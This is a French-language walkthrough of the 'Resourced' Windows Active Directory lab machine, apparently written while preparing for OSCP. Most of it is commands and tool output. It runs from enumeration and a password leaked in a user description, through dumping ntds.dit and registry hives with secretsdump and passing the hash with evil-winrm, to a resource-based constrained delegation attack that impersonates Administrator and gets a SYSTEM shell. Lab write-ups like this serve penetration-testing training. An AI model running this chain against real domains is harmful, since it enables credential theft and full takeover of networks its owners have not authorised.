Resourced

smb sam bloodhound

Nom machine : Resourced
Difficulté : Intermédiaire
OS : Windows

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 09:54 EDT
Nmap scan report for 192.168.163.175
Host is up (0.036s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-30 13:56:37Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-08-30T13:58:06+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=ResourceDC.resourced.local
| Not valid before: 2024-08-06T15:34:27
|_Not valid after:  2025-02-05T15:34:27
| rdp-ntlm-info: 
|   Target_Name: resourced
|   NetBIOS_Domain_Name: resourced
|   NetBIOS_Computer_Name: RESOURCEDC
|   DNS_Domain_Name: resourced.local
|   DNS_Computer_Name: ResourceDC.resourced.local
|   DNS_Tree_Name: resourced.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-08-30T13:57:26+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB

┌──(kali㉿kali)-[~]
└─$ enum4linux 192.168.158.175
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Aug 31 05:03:02 2024

{...}
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator	Name: (null)	Desc: Built-in account for administering the computer/domain
index: 0xf72 RID: 0x457 acb: 0x00020010 Account: D.Durant	Name: (null)	Desc: Linear Algebra and crypto god
index: 0xf73 RID: 0x458 acb: 0x00020010 Account: G.Goldberg	Name: (null)	Desc: Blockchain expert
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0xf6d RID: 0x452 acb: 0x00020010 Account: J.Johnson	Name: (null)	Desc: Networking specialist
index: 0xf6b RID: 0x450 acb: 0x00020010 Account: K.Keen	Name: (null)	Desc: Frontend Developer
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0xf6c RID: 0x451 acb: 0x00000210 Account: L.Livingstone	Name: (null)	Desc: SysAdmin
index: 0xf6a RID: 0x44f acb: 0x00020010 Account: M.Mason	Name: (null)	Desc: Ex IT admin
index: 0xf70 RID: 0x455 acb: 0x00020010 Account: P.Parker	Name: (null)	Desc: Backend Developer
index: 0xf71 RID: 0x456 acb: 0x00020010 Account: R.Robinson	Name: (null)	Desc: Database Admin
index: 0xf6f RID: 0x454 acb: 0x00020010 Account: S.Swanson	Name: (null)	Desc: Military Vet now cybersecurity specialist
index: 0xf6e RID: 0x453 acb: 0x00000210 Account: V.Ventz	Name: (null)	Desc: New-hired, reminder: HotelCalifornia194!
{...}

Nous avons une liste d'users et un mot de passe !

┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.158.175 -u V.Ventz -p 'HotelCalifornia194!'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 192.168.158.175:445	Name: 192.168.158.175     	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Password Audit                                    	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share

Local exploitation

┌──(kali㉿kali)-[~/oscp/ress]
└─$ smbclient '//192.168.158.175/Password Audit' -U V.Ventz
Password for [WORKGROUP\V.Ventz]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Oct  5 04:49:16 2021
  ..                                  D        0  Tue Oct  5 04:49:16 2021
  Active Directory                    D        0  Tue Oct  5 04:49:16 2021
  registry                            D        0  Tue Oct  5 04:49:16 2021

		7706623 blocks of size 4096. 2719140 blocks available
smb: \> cd "Active directory"
smb: \Active Directory\> dir
  .                                   D        0  Tue Oct  5 04:49:16 2021
  ..                                  D        0  Tue Oct  5 04:49:16 2021
  ntds.dit                            A 25165824  Mon Sep 27 07:30:54 2021
  ntds.jfm                            A    16384  Mon Sep 27 07:30:54 2021

		7706623 blocks of size 4096. 2719140 blocks available
smb: \Active directory\> mget *
Get file ntds.dit? yes
Get file ntds.jfm? yes
smb: \Active directory\> cd ..
smb: \> cd registry
smb: \registry\> dir
  .                                   D        0  Tue Oct  5 04:49:16 2021
  ..                                  D        0  Tue Oct  5 04:49:16 2021
  SECURITY                            A    65536  Mon Sep 27 06:45:20 2021
  SYSTEM                              A 16777216  Mon Sep 27 06:45:20 2021

		7706623 blocks of size 4096. 2719140 blocks available
smb: \registry\> mget *
Get file SECURITY? yes
Get file SYSTEM? yes

SAM & LSA secrets | The Hacker Recipeswww.thehacker.recipes

SECURITY

┌──(kali㉿kali)-[~/oscp/ress]
└─$ impacket-secretsdump -security SECURITY -system SYSTEM LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x6f961da31c7ffaf16683f78e04c3e03d
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:507fdb105d9322cf53420c95780adf5f2dcdac7ca14f8b37188370c916a3fa6f2a511bb284aeac71211c939a866a2b4cc02c408e1d242ad4f5cc8f7b85d2448c18d23fb47f7b9b543a6cfb8999e40037f23dbfd8690869753979d15fe61bdcddb0ccff3d20c275207ca93e844c3b5aa1f658198225b3e54f90e0b71aaf76ba32bb1b598d189b6696c27d04674fd4c4f2c09d0df2e59fe93850aa928be813be3bd659f0d2ecba6e34fb5a3880db8155cf77e21eb44d63e1ae65abcc2aa5bdfb6bfe85e8590329929522aae501ba86d8622918e37b41daef8a2b00e78440d13e88a31fc14714923bba6fb99e13c81b3020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9ddb6f4d9d01fedeb4bccfb09df1b39d
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x85ec8dd0e44681d9dc3ed5f0c130005786daddbd
dpapi_userkey:0x22043071c1e87a14422996eda74f2c72535d4931
[*] NL$KM 
 0000   31 BF AC 76 98 3E CF 4A  FC BD AD 0F 17 0F 49 E7   1..v.>.J......I.
 0010   DA 65 A6 F9 C7 D4 FA 92  0E 5C 60 74 E6 67 BE A7   .e.......\`t.g..
 0020   88 14 9D 4D E5 A5 3A 63  E4 88 5A AC 37 C7 1B F9   ...M..:c..Z.7...
 0030   53 9C C1 D1 6F 63 6B D1  3F 77 F4 3A 32 54 DA AC   S...ock.?w.:2T..
NL$KM:31bfac76983ecf4afcbdad0f170f49e7da65a6f9c7d4fa920e5c6074e667bea788149d4de5a53a63e4885aac37c71bf9539cc1d16f636bd13f77f43a3254daac
[*] Cleaning up...

ntds.dit

┌──(kali㉿kali)-[~/oscp/ress]
└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x6f961da31c7ffaf16683f78e04c3e03d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 9298735ba0d788c4fc05528650553f94
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:12579b1666d4ac10f0f59f300776495f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
RESOURCEDC$:1000:aad3b435b51404eeaad3b435b51404ee:9ddb6f4d9d01fedeb4bccfb09df1b39d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3004b16f88664fbebfcb9ed272b0565b:::
M.Mason:1103:aad3b435b51404eeaad3b435b51404ee:3105e0f6af52aba8e11d19f27e487e45:::
K.Keen:1104:aad3b435b51404eeaad3b435b51404ee:204410cc5a7147cd52a04ddae6754b0c:::
L.Livingstone:1105:aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808:::
J.Johnson:1106:aad3b435b51404eeaad3b435b51404ee:3e028552b946cc4f282b72879f63b726:::
V.Ventz:1107:aad3b435b51404eeaad3b435b51404ee:913c144caea1c0a936fd1ccb46929d3c:::
S.Swanson:1108:aad3b435b51404eeaad3b435b51404ee:bd7c11a9021d2708eda561984f3c8939:::
P.Parker:1109:aad3b435b51404eeaad3b435b51404ee:980910b8fc2e4fe9d482123301dd19fe:::
R.Robinson:1110:aad3b435b51404eeaad3b435b51404ee:fea5a148c14cf51590456b2102b29fac:::
D.Durant:1111:aad3b435b51404eeaad3b435b51404ee:08aca8ed17a9eec9fac4acdcb4652c35:::
G.Goldberg:1112:aad3b435b51404eeaad3b435b51404ee:62e16d17c3015c47b4d513e65ca757a2:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:73410f03554a21fb0421376de7f01d5fe401b8735d4aa9d480ac1c1cdd9dc0c8
Administrator:aes128-cts-hmac-sha1-96:b4fc11e40a842fff6825e93952630ba2
Administrator:des-cbc-md5:80861f1a80f1232f
RESOURCEDC$:aes256-cts-hmac-sha1-96:b97344a63d83f985698a420055aa8ab4194e3bef27b17a8f79c25d18a308b2a4
RESOURCEDC$:aes128-cts-hmac-sha1-96:27ea2c704e75c6d786cf7e8ca90e0a6a
RESOURCEDC$:des-cbc-md5:ab089e317a161cc1
krbtgt:aes256-cts-hmac-sha1-96:12b5d40410eb374b6b839ba6b59382cfbe2f66bd2e238c18d4fb409f4a8ac7c5
krbtgt:aes128-cts-hmac-sha1-96:3165b2a56efb5730cfd34f2df472631a
krbtgt:des-cbc-md5:f1b602194f3713f8
M.Mason:aes256-cts-hmac-sha1-96:21e5d6f67736d60430facb0d2d93c8f1ab02da0a4d4fe95cf51554422606cb04
M.Mason:aes128-cts-hmac-sha1-96:99d5ca7207ce4c406c811194890785b9
M.Mason:des-cbc-md5:268501b50e0bf47c
K.Keen:aes256-cts-hmac-sha1-96:9a6230a64b4fe7ca8cfd29f46d1e4e3484240859cfacd7f67310b40b8c43eb6f
K.Keen:aes128-cts-hmac-sha1-96:e767891c7f02fdf7c1d938b7835b0115
K.Keen:des-cbc-md5:572cce13b38ce6da
L.Livingstone:aes256-cts-hmac-sha1-96:cd8a547ac158c0116575b0b5e88c10aac57b1a2d42e2ae330669a89417db9e8f
L.Livingstone:aes128-cts-hmac-sha1-96:1dec73e935e57e4f431ac9010d7ce6f6
L.Livingstone:des-cbc-md5:bf01fb23d0e6d0ab
J.Johnson:aes256-cts-hmac-sha1-96:0452f421573ac15a0f23ade5ca0d6eada06ae85f0b7eb27fe54596e887c41bd6
J.Johnson:aes128-cts-hmac-sha1-96:c438ef912271dbbfc83ea65d6f5fb087
J.Johnson:des-cbc-md5:ea01d3d69d7c57f4
V.Ventz:aes256-cts-hmac-sha1-96:4951bb2bfbb0ffad425d4de2353307aa680ae05d7b22c3574c221da2cfb6d28c
V.Ventz:aes128-cts-hmac-sha1-96:ea815fe7c1112385423668bb17d3f51d
V.Ventz:des-cbc-md5:4af77a3d1cf7c480
S.Swanson:aes256-cts-hmac-sha1-96:8a5d49e4bfdb26b6fb1186ccc80950d01d51e11d3c2cda1635a0d3321efb0085
S.Swanson:aes128-cts-hmac-sha1-96:6c5699aaa888eb4ec2bf1f4b1d25ec4a
S.Swanson:des-cbc-md5:5d37583eae1f2f34
P.Parker:aes256-cts-hmac-sha1-96:e548797e7c4249ff38f5498771f6914ae54cf54ec8c69366d353ca8aaddd97cb
P.Parker:aes128-cts-hmac-sha1-96:e71c552013df33c9e42deb6e375f6230
P.Parker:des-cbc-md5:083b37079dcd764f
R.Robinson:aes256-cts-hmac-sha1-96:90ad0b9283a3661176121b6bf2424f7e2894079edcc13121fa0292ec5d3ddb5b
R.Robinson:aes128-cts-hmac-sha1-96:2210ad6b5ae14ce898cebd7f004d0bef
R.Robinson:des-cbc-md5:7051d568dfd0852f
D.Durant:aes256-cts-hmac-sha1-96:a105c3d5cc97fdc0551ea49fdadc281b733b3033300f4b518f965d9e9857f27a
D.Durant:aes128-cts-hmac-sha1-96:8a2b701764d6fdab7ca599cb455baea3
D.Durant:des-cbc-md5:376119bfcea815f8
G.Goldberg:aes256-cts-hmac-sha1-96:0d6ac3733668c6c0a2b32a3d10561b2fe790dab2c9085a12cf74c7be5aad9a91
G.Goldberg:aes128-cts-hmac-sha1-96:00f4d3e907818ce4ebe3e790d3e59bf7
G.Goldberg:des-cbc-md5:3e20fd1a25687673
[*] Cleaning up...

Nous avons crée un fichier user et un autre contenant les hashs (la partie NT c'est-à-dire la dernière).

┌──(kali㉿kali)-[~/oscp/ress]
└─$ crackmapexec ldap 192.168.158.175 -u user.txt -H hashs.txt -d resourced.local --continue-on-success
{...}
WINRM       192.168.158.175 5985   192.168.158.175  [+] resourced.local\L.Livingstone:19a3a7550ce8c505c2d46b5e39d6f808 (Pwn3d!)
{...}

┌──(kali㉿kali)-[~/oscp/ress]
└─$ evil-winrm -i 192.168.158.175 -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents> whoami
resourced\l.livingstone

Escalade de privilège

┌──(kali㉿kali)-[~/oscp/ress]
└─$ bloodhound-python -u L.Livingstone --hashes 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' -d resourced.local -v --zip -c All -ns 192.168.158.175

Nous avons marqué Livingstone "Owned". Nous avons ensuite cliqué sur Resourced.resourced.local et continué d'énumérer. Dans Inbound Control Rights, on peut voir "GenericAll"

Resource Based Constrained Delegation

rbcd-attack/rbcd.py at master · tothi/rbcd-attackGitHub

┌──(kali㉿kali)-[~/oscp/ress]
└─$ impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.158.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Successfully added machine account ATTACK$ with password AttackerPC1!.

┌──(kali㉿kali)-[~]
└─$ sudo python3 rbcd.py -dc-ip 192.168.158.175 -t RESOURCEDC -f 'ATTACK' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Starting Resource Based Constrained Delegation Attack against RESOURCEDC$
[*] Initializing LDAP connection to 192.168.158.175
[*] Using resourced\l.livingstone account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Writing SECURITY_DESCRIPTOR related to (fake) computer `ATTACK` into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `RESOURCEDC`
[*] Delegation rights modified succesfully!
[*] ATTACK$ can now impersonate users on RESOURCEDC$ via S4U2Proxy

┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn cifs/resourcedc.resourced.local resourced/attack\$:'AttackerPC1!' -impersonate Administrator -dc-ip 192.168.158.175
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache

Ajouter : resourcedc.resourced.local à /etc/hosts

┌──(kali㉿kali)-[~]
└─$ impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.158.175
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on resourcedc.resourced.local.....
[*] Found writable share ADMIN$
[*] Uploading file wbKqIxpq.exe
[*] Opening SVCManager on resourcedc.resourced.local.....
[*] Creating service jEDp on resourcedc.resourced.local.....
[*] Starting service jEDp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2145]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

PrécédentpyLoader SuivantRubyDome

Mis à jour il y a 1 an

hashtagEnumération

hashtagNMAP

hashtagSMB

hashtagLocal exploitation

hashtagSECURITY

hashtagntds.dit

hashtagEscalade de privilège

hashtagResource Based Constrained Delegation